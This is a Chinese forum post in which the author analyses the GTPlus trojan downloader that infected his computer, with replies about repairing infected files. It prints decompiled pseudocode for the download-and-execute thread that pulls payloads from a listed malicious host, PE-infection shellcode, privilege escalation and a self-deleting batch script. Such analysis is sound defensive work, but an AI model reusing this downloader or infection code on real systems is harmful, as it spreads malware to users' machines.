m1n9yu3 发表于 2021-10-31 00:13

GTPlus下载者样本分析

本帖最后由 m1n9yu3 于 2021-10-31 00:16 编辑

# 前言

因为我偶然间看到 我用bandizip 解压压缩包时, 火绒报毒

!(https://gitee.com/shenshuoyaoyouguang/blogimage/raw/master/img/202110310001046.png)



然后第二天我的 advanced archive passwod 打不开了, 还弹出了奇怪的报错,说是 64位windows 不能打开 16位程序,我直接纳闷



然后我修复了电脑,重新启动了一下,火绒直接报毒,emmm, 我一扫,才发现,tmd全盘exe32 都被干了!!! 就开始了这个样本的分析



被感染的文件, 报 HVM:TrojanDownloader/Small.gen!A或 Virus/Jadtre.ax

样本本体, 报 TrojanDownloader/GTplus



# 信息收集



>程序活动分析



使用工具:

1. 火绒剑
2. studype+
3. 微步云沙箱

## 文件遍历



遍历并修改所有exe文件



!(https://gitee.com/shenshuoyaoyouguang/blogimage/raw/master/img/202110310006509.png)





所有被修改的 exe 文件都增加了一个区段, 区段名称为 随机字符串

!(https://gitee.com/shenshuoyaoyouguang/blogimage/raw/master/img/202110310007947.png)



区段内含有一个 母体exe



这里的 exe 仅仅是 32位exe





## 网络活动

!(https://gitee.com/shenshuoyaoyouguang/blogimage/raw/master/img/202110310007557.png)





63.251.106.25

ddos.dnsnb8.net

ddos.dnsnb8.net:799/cj//k5.rar

ddos.dnsnb8.net:799/cj//k4.rar

k3.rar   k2.rar   k1.rar



!(https://gitee.com/shenshuoyaoyouguang/blogimage/raw/master/img/202110310008094.png)



刚好对应



## 注册表

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\GTplus\Time 处写下内容, 盲猜是时间





## 创建文件



在 Temp 文件夹内创建 名为 6AFB5029.exe 的母体







## 微步云线索

!(https://gitee.com/shenshuoyaoyouguang/blogimage/raw/master/img/202110310008904.png)





# 详细分析

使用工具:

1. ida pro
2. x64dbg


程序流程大概是:

start ->main



main 函数有五个动作



## 权限提升



如果 windows 版本在 6.0 以上,就不执行提权



```
// windows 权限提升函数
// 如果windows版本在 windows vista 下面,就执行提权
int get_privilege()
{
unsigned int v1; // eax
int v2; // ebx
unsigned int v3; // ebx
struct _OSVERSIONINFOA VersionInformation; // BYREF
int v6; // BYREF
struct _LUID Luid; // BYREF
char v8; // BYREF
int v9; //
int v10; // BYREF
unsigned int v11; //
unsigned int v12; //
int v13; //
int v14; //

VersionInformation.dwOSVersionInfoSize = 156; // 结构体在使用前需要对该成员填充该结构体的大小
GetVersionExA(&VersionInformation);
if ( VersionInformation.dwMajorVersion < 6 )// 这里判断 windows 版本,如果低于 windows Vista 版本,就尝试提权
{
    if ( LookupPrivilegeValueA(0, Name, &Luid) ? sub_AA119F((int)&Luid) : 0 )
    {
      v1 = sub_AA120E();
      if ( v1 )
      {
      if ( VersionInformation.dwMinorVersion == 1 )
      {
          v2 = v1 + 132;
          v14 = v1 + 132;
      }
      else
      {
          if ( VersionInformation.dwMinorVersion != 2 )
            return 0;
          v14 = v1 + 148;
          v2 = v1 + 148;
      }
```



## 注册表操作

读取和写入

>注册表路径: HKEY_LOCAL_MACHINE   \SOFTWARE\GTPlus   \Time   这里路径,随系统不固定, 因为使用的是 SHSetValueA SHGetValueA api
>如果传参为1: 从注册表指定路径中查询 是否写入的有时间,如果有,返回1,反之返回0
>如果传参为2: 从注册表指定路径,创建注册key项, 并写入当前时间,返回0

```
int __stdcall register_operating(DWORD pcbData)
{
unsigned __int64 pvData; // BYREF
struct _FILETIME SystemTimeAsFileTime; // BYREF
DWORD pdwType; // BYREF
int v5; //

v5 = 0;
GetSystemTimeAsFileTime(&SystemTimeAsFileTime);// 获取指向时间的指针
if ( pcbData == 2 )
{
    SHSetValueA(HKEY_LOCAL_MACHINE, pszSubKey, pszValue, 3u, &SystemTimeAsFileTime, 8u);// 将时间数据写入到注册表中
}
else if ( pcbData == 1 )
{
    pcbData = 8;
    if ( !SHGetValueA(HKEY_LOCAL_MACHINE, pszSubKey, pszValue, &pdwType, &pvData, &pcbData)// 查询写入的时间
      && *(unsigned __int64 *)&SystemTimeAsFileTime / 0x2710 - pvData / 0x2710 < 0x5265C00 )
    {
      v5 = 1;
    }
}
return v5;
}
```





## 数据解密操作

算法看不懂, 但值得一提的是,一共解了1740 字节,我看了下,是后门的hostname , 以及要用到的系统字符串 等,杂七杂八的东西



```
int __userpurge data_decrypted@<eax>(int a1@<eax>, int *a2@<edi>, int a3)
{
int *v4; // eax
char v5; // si
int *v6; // edx
int *v7; //
char v8; //
int v9; //
int v10; //

if ( (a1 & 3) != 0 )
    return 0;
v7 = (int *)((char *)a2 + a1 - 4);
v4 = a2;
v5 = -4 - (_BYTE)a2;
do
{
    v6 = v4 + 1;
    v8 = (v5 + (_BYTE)v4 + 4) & 0x1F;
    v9 = *v4;
    if ( ((v5 + (_BYTE)v4 + 4) & 4) != 0 )
      v10 = __ROR4__(v9, v8);
    else
      v10 = __ROL4__(v9, v8);
    *v4++ = *v6 + a3 + ~(a3 ^ v10);
}
while ( v6 < v7 );
*v6 = a3 ^ ~__ROL4__(a3 + *v6, ((_BYTE)v6 - (_BYTE)a2) & 0x1F);
return 1;
}
```





## 启动一个下载后门线程

CreateThread直接启动,然后就 waitsignedobject 等待线程结束

```
DWORD __stdcall download_blackdoor_thread(LPVOID lpThreadParameter)
{
const char *v1; // edi
int v2; // eax
const CHAR *v3; // eax
bool v4; // zf
int v5; // eax
CHAR v7; // BYREF
CHAR CmdLine; // BYREF
unsigned int v9; // 此函数为了下载专用, 下载更新的exe 或者其他后门
LPCSTR lpString; //

v9 = 0;
for ( lpString = &byte_AA4748; v9 < dword_AA494C; ++v9 )// k1.rar 一直到 k5.rar
{
    v1 = &String;
    if ( String )
    {
      do
      {
      while ( 1 )
      {
          v5 = get_rand_hex();
          wsprintfA(CmdLine, "%s%.8X.exe", cur_system_temp_dir, v5);// 拼接到系统temp目录下的exe 文件
          wsprintfA(v7, "http://%s:%d/%s/%s", v1, dword_AA4948, word_AA4708, lpString);// 解密后的网址+ 端口号+路径
          if ( URLDownloadToFileA(0, v7, CmdLine, 0, 0) )// ddos.dnsnb8.net:799/cj//k1.rar    63.251.106.25:799
            break;
          vitrualfree2file(CmdLine);
          WinExec(CmdLine, 5u);
          v2 = lstrlenA(lpString);
          v3 = &lpString;
          v4 = *v3 == 0;
          lpString = v3;
          if ( v4 )
            return 0;
      }
      v1 += lstrlenA(v1) + 1;
      Sleep(dwMilliseconds);
      }
      while ( *v1 );
    }
}
return 0;
}
```



就拼接网址+文件   ddos.dnsnb8.net:799/cj//k1.rar   k1 - k5

通过 URLDownloadToFileA 下载到本地   

文件名称规则: system_temp 文件夹+ 随机hex字符串.exe



顺便把下载下来的文件 WinExec 执行一下, 我经过调试发现, 下载下来的内容一般为 foo , 然后解密后得到 4d5a



中间会歇上 3441092776 毫秒







## PE感染



先复制自身到内存中

然后起一个线程, 遍历所有盘符 , 这里有个要求,该设备不为 cdrom 和 unknow , 盘符不为 A, B,   然后对着这些符合条件的创建一个线程, 遍历该盘所有文件, 对符合条件的进行pe 感染操作(这里我还没调试)



这里面很多东西 ida 伪代码无法显示出来, 我也没动调



老的 exe 文件 开一个新区段,名称随机写入 oep_shellcode , 再把自身(带有upx壳子)写入到 新区段中


!(https://gitee.com/shenshuoyaoyouguang/blogimage/raw/master/img/202110302318483.png)

55 8b ec 为func 开始的地方 表示指令为 push ebp,mov ebp, esp
c9 c3 为func结束的地方 表示指令为 leave, ret

!(https://gitee.com/shenshuoyaoyouguang/blogimage/raw/master/img/202110302319059.png)

中间 C9 c3 和 4d 5a 90 之间有一点数据,不知道是啥



这里分析了一下 shellcode

```
// 新的pe 文件的起始点: shellcode
// write access to const memory has been detected, the output may be wrong!
int oep_shellcode()
{
int v0; // eax
_DWORD *v1; // ecx
int v2; // edi
int v3; // ebx
int v4; // esi
unsigned int v5; // ecx
int v6; // esi
int v7; // edi
int v8; // ebx
unsigned int v9; // edx
int v10; // esi
int v11; // edx
int v12; // ecx
int (__stdcall *g_GetModuleHandleA)(_DWORD); // esi
int v14; // ecx
int result; // eax
int v16; // esi
_DWORD *v17; // eax
int v18; // ecx
char v19; // BYREF
char v20; // BYREF
int v21; // BYREF
int v22; // BYREF
unsigned int v23; //
int v24; //
char v25; // BYREF
struct _PEB *v26; //
int (__stdcall *g_GetModuleHandleA_1)(_DWORD); //
void (__stdcall *g_GetTempPathA)(int, char *); //
unsigned int v29; //
void (__stdcall *g_lstrcatA)(char *, int *); //
void (__stdcall *g_WriteFile)(int, _DWORD *, unsigned int, char *, _DWORD); //
int (__stdcall *g_CreateFileA)(char *, unsigned int, _DWORD, _DWORD, int, int, _DWORD); //
int (__stdcall *g_WinExec)(char *, int); //
void (__stdcall *g_CloseHandle)(int); //
_DWORD *v35; //

g_GetModuleHandleA_1 = 0;
g_CreateFileA = 0;
g_WriteFile = 0;                              // peb获取 kernel的基质,然后解析pe 导出表, 获取几个函数的地址
g_CloseHandle = 0;
g_WinExec = 0;
g_GetTempPathA = 0;
g_lstrcatA = 0;
v21 = 0x11111111;
qmemcpy(v22, "\"\"\"\"3333DDDD", sizeof(v22));
v35 = &locret_AA4271;
v26 = NtCurrentPeb();
locret_AA4271 = 0xE904C483;
*((_DWORD *)&locret_AA4271 + 1) = 0xAAAAAAAA;
v0 = *(_DWORD *)(**((_DWORD **)v26->ImageBaseAddress + 7) + 8);
LABEL_2:
v1 = (_DWORD *)(v0 + *(_DWORD *)(*(_DWORD *)(v0 + 60) + v0 + 120));
v2 = v1;
v3 = v1;
v4 = v1;
v5 = v1;
v6 = v0 + v4;
v7 = v0 + v2;
v8 = v0 + v3;
v9 = 0;
v24 = v6;
v29 = 0;
v23 = v5;
while ( v9 < v23 )
{
    v10 = *(_DWORD *)(v7 + 4 * *(unsigned __int16 *)(v6 + 2 * v9));
    v11 = v0 + *(_DWORD *)(v8 + 4 * v9);
    v12 = *(_DWORD *)v11;
    g_GetModuleHandleA = (int (__stdcall *)(_DWORD))(v0 + v10);
    if ( *(_DWORD *)v11 == 'MteG'
      && *(_DWORD *)(v11 + 4) == 'ludo'
      && *(_DWORD *)(v11 + 8) == 'naHe'
      && *(_DWORD *)(v11 + 12) == 'Aeld'
      && !*(_BYTE *)(v11 + 16) )
    {                                           // GetModuleHandleA
      if ( !g_GetModuleHandleA_1 )
      {
      g_GetModuleHandleA_1 = g_GetModuleHandleA;
      strcpy(v20, "Kernel32.dll");
      v0 = g_GetModuleHandleA(v20);
      goto LABEL_2;
      }
    }
    else if ( v12 == 'EniW' && *(_DWORD *)(v11 + 4) == 'cex' )
    {
      g_WinExec = (int (__stdcall *)(char *, int))g_GetModuleHandleA;// WinExec
    }
    else if ( v12 == 'solC' && *(_DWORD *)(v11 + 4) == 'naHe' && *(_DWORD *)(v11 + 8) == 'eld' )
    {
      g_CloseHandle = (void (__stdcall *)(int))g_GetModuleHandleA;// CloseHandle
    }
    else if ( v12 == 'tirW' && *(_DWORD *)(v11 + 4) == 'liFe' && *(_WORD *)(v11 + 8) == 'e' )
    {
      g_WriteFile = (void (__stdcall *)(int, _DWORD *, unsigned int, char *, _DWORD))g_GetModuleHandleA;// WriteFile
    }
    else
    {
      v14 = *(_DWORD *)v11;
      if ( *(_DWORD *)v11 == 'aerC' && *(_DWORD *)(v11 + 4) == 'iFet' && *(_DWORD *)(v11 + 8) == 'Ael' )
      {
      g_CreateFileA = (int (__stdcall *)(char *, unsigned int, _DWORD, _DWORD, int, int, _DWORD))g_GetModuleHandleA;// CreateFileA
      }
      else if ( v14 == 'TteG' && *(_DWORD *)(v11 + 4) == 'Ppme' && *(_DWORD *)(v11 + 8) == 'Ahta' )
      {
      g_GetTempPathA = (void (__stdcall *)(int, char *))g_GetModuleHandleA;// GetTempPathA
      }
      else if ( v14 == 'rtsl' && *(_DWORD *)(v11 + 4) == 'Atac' )
      {
      g_lstrcatA = (void (__stdcall *)(char *, int *))g_GetModuleHandleA;// lstrcatA
      }
    }
    if ( g_GetModuleHandleA_1
      && g_CreateFileA
      && g_WriteFile
      && g_CloseHandle
      && g_WinExec
      && g_GetTempPathA
      && g_lstrcatA )
    {
      break;
    }
    ++v29;
    v6 = v24;
    v9 = v29;
}
g_GetTempPathA(260, v19);                     // 获取系统temp目录
g_lstrcatA(v19, &v21);                        // 目录拼接
result = g_CreateFileA(v19, 0xC0000000, 0, 0, 2, 128, 0);// 创建文件
v16 = result;
if ( result != -1 )
{
    v17 = v35;                                  // 从该函数尾部开始查找exe 文件,然后将exe文件写入到刚才创建的文件
    v18 = 0;
    while ( *v17 != 0x905A4D )
    {
      v17 = (_DWORD *)((char *)v17 + 1);
      if ( ++v18 >= 500 )
      goto LABEL_47;
    }
    g_WriteFile(v16, v17, 0xCCCCCCCC, v25, 0);
LABEL_47:
    g_CloseHandle(v16);
    result = g_WinExec(v19, 5);               // 执行该exe文件
}
return result;
}
```

因为没有动调,我不确定,他是否真的获取到了kernel32 的基址,有可能是kernelbase的基址, win7 以后老版本的shellcode 只能获取到 kernelbase的基址了



后面执行的函数,就是继续执行自己

winExec 第二个参数, 我查了下官方文档, 5 对应着SW_SHOW ,就是正常启动该窗口罢了






## 自删除



这个自删除比较骚



这里不断进行删除自身exe,然后判断自身exe是否还存在,存在则继续删除自身exe, 不存在,则删除脚本exe

```
:DELFILE
del "C:\Users\m1n9yu3\Desktop\样本.exe"
if exist "C:\Users\m1n9yu3\Desktop\样本.exe" goto :DELFILE
del "C:\Users\m1n9yu3\AppData\Local\Temp\35507285.bat"

```





这里的 c 代码,就是把上面的bat脚本写到 系统 temp 目录下, 然后执行   , 这里ShellExecuteA是异步的,就是说,就算程序结束了, 该脚本也会继续执行

```
void *auto_del_self()
{
int v0; // eax
int v1; // ebx
void *result; // eax
void *v3; // edi
BOOL v4; // ebx
CHAR String; // BYREF 看着像自删除
CHAR FileName; // BYREF
DWORD NumberOfBytesWritten; // BYREF

v0 = get_rand_hex();
wsprintfA(FileName, "%s%.8x.bat", cur_system_temp_dir, v0);
wsprintfA(
    String,
    ":DELFILE\r\ndel \"%s\"\r\nif exist \"%s\" goto :DELFILE\r\ndel \"%s\"\r\n",
    pszPath,
    pszPath,
    FileName);
v1 = lstrlenA(String);
result = CreateFileA(FileName, 0xC0000000, 0, 0, 2u, 0, 0);
v3 = result;
if ( result != (void *)-1 )
{
    v4 = WriteFile(result, String, v1, &NumberOfBytesWritten, 0);
    result = (void *)CloseHandle(v3);
    if ( v4 )
      result = ShellExecuteA(0, Operation, FileName, 0, 0, 0);
}
return result;                              
}
```



# 总结

分析过样本之后, 对 win32 api 有了一层新的认识, 以后分析这个起来,肯定会更加得心应手, 嘻嘻

chinalys 发表于 2021-10-31 18:01

粗略的看了一下,很多都只是模糊的理解。{:1_918:}

xiaohanjss 发表于 2021-11-1 22:59

其他的我都懂,我就是不知道怎么解读16进制的信息

chermy 发表于 2021-11-2 02:02

本帖最后由 chermy 于 2021-11-2 02:05 编辑

xiaohanjss 发表于 2021-11-1 22:59
其他的我都懂,我就是不知道怎么解读16进制的信息
有些辅助的工具, 我用的是010editor配合大佬写的bt脚本, 不过也就单纯看看:lol

d3d 发表于 2021-11-3 11:30

这个PE感染怎么修复?直接用杀软么?

m1n9yu3 发表于 2021-11-4 11:30

d3d 发表于 2021-11-3 11:30
这个PE感染怎么修复?直接用杀软么?

把那个新增加的乱码区段的内容清空即可修复
页: [1]
查看完整版本: GTPlus下载者样本分析